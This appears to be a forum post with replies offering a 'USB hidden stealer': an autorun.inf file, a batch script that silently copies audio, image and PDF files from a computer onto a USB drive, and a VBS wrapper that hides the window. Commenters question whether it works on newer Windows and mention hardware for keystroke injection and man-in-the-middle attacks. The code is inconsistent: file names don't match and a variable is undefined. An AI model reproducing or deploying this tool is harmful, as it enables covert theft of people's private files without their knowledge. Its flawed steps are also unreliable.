USB HIDDEN STEALER to steal file or audio or other

first create Text Document and copy this into the Text Document

```
[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
```

save by name autorun.inf

second create new Text Document and copy this into the new Text Document

```
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "D:\*.mp3" "%drive%\all\sound"
%backupcmd% "D:\*.wav" "%drive%\all\sound"
%backupcmd% "D:\*.jpg" "%drive%\all\image"
%backupcmd% "D:\*.gif" "%drive%\all\image"
%backupcmd% "D:\*.pdf" "%drive%\all\document"
@echo off
cls
```

save by name file.bat

i write D: you can write c: or %USERPROFILE% or other
i write mp3 you can write txt or other

third and create new Text Document copy this into third Text Document
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """" , 0, False

save by name invisible.vbs

create new Text Document and copy this

wscript.exe \invisible.vbs file.bat

save by name lunch.bat

and now just double click on lunch.bat to HIDDEN STEAL

please dont use this for bad
please dont use this for bad
please dont use this for bad
please dont use this for bad
please dont use this vs your friend

SORRY FOR WRONG

OLIH

I'm pretty certain this doesn't work in the newer versions of windows.

SORRY FOR LATE ANSWER

dont work on desktop, working on flash memory.

copy to flash memory , without folder . copy to flash memory without folder .
and now i check , working %100.

and if i didn't fix your problem what happen when you open launch.bat ?

thank for your comment

I agree with STBG_banappeal

This was a big thing in the 90's not so much now mainly because windows now makes you select run option, there is no "auto" autorun,

You can make the inf file for autorun, usually it just shows up under the autorun options though.

However you can go get yourself a bash bunny from the hak5 store and there are many scripts for the bash bunny to do what you require.

Windows will recognise it as what ever you want,

USB to Ethernet for MITM Attacks, USB HID for any keystrokes, also USB External drive to pass all your data to.
